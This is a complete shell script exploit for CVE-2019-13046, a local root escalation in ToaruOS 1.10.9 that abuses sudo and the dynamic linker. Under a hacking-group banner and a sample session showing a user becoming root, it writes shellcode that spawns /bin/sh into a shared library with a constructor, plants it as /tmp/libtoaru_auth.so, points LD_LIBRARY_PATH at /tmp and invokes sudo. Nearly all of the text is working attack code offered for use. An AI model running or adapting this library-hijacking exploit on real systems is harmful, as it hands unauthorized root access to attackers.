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#!/bin/sh
#
# The Mickey Mouse Hacking Squadron proudly presents
#
# CVE-2019-13046
#
# ToaruOS 1.10.9 sudo/linker local root exploit
#
# .-"""-.
# / . - \
# \ /
# .-""-.,:.-_-.<
# / _; , / ).|
# \ ; / ` `" '\
# '.-| ;-.____, | .,
# \ `._~_/ / /"/
# ,. /`-.__.-'\`-._ ,",' ;
# \"\ / /| o \._ `-._; / ./-.
# ; ';, / / | `__ \ `-.,( / //.-'
# :\ \\;_.-" ; |.-"` ``\ /-. /.-'
# :\ .\),.-' / }{ | '..'
# \ .-\ | , /
# '..' ;' , /
# ( __ `;--;'__`)
# `//'` `||`
# _// ||
# .-"-._,(__) .(__).-""-.
# / \ / \
# \ / \ /
# `'--=="--` `--""==--'`
#
# local@livecd ~$ whoami
# local
# local@livecd ~$ ./kowasu-linker.sh
# 0@livecd /home/local# whoami
# root
# We use shellcode because we replaced libc and this keeps things simple.
echo "unsigned char shellcode[] = {" > /tmp/x.c
echo " 0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31," >> /tmp/x.c
echo " 0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07," >> /tmp/x.c
echo " 0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f," >> /tmp/x.c
echo " 0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68," >> /tmp/x.c
echo " 0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58" >> /tmp/x.c
echo "};" >> /tmp/x.c
echo "__attribute__((constructor)) void mehness(void)" >> /tmp/x.c
echo "{" >> /tmp/x.c
echo " ((void (*)(void))shellcode)();" >> /tmp/x.c
echo "}" >> /tmp/x.c
gcc -fPIC -shared /tmp/x.c -o /tmp/libc.so
rm /tmp/x.c
cp /tmp/libc.so /tmp/libtoaru_auth.so
LD_LIBRARY_PATH=/tmp
sudo mehness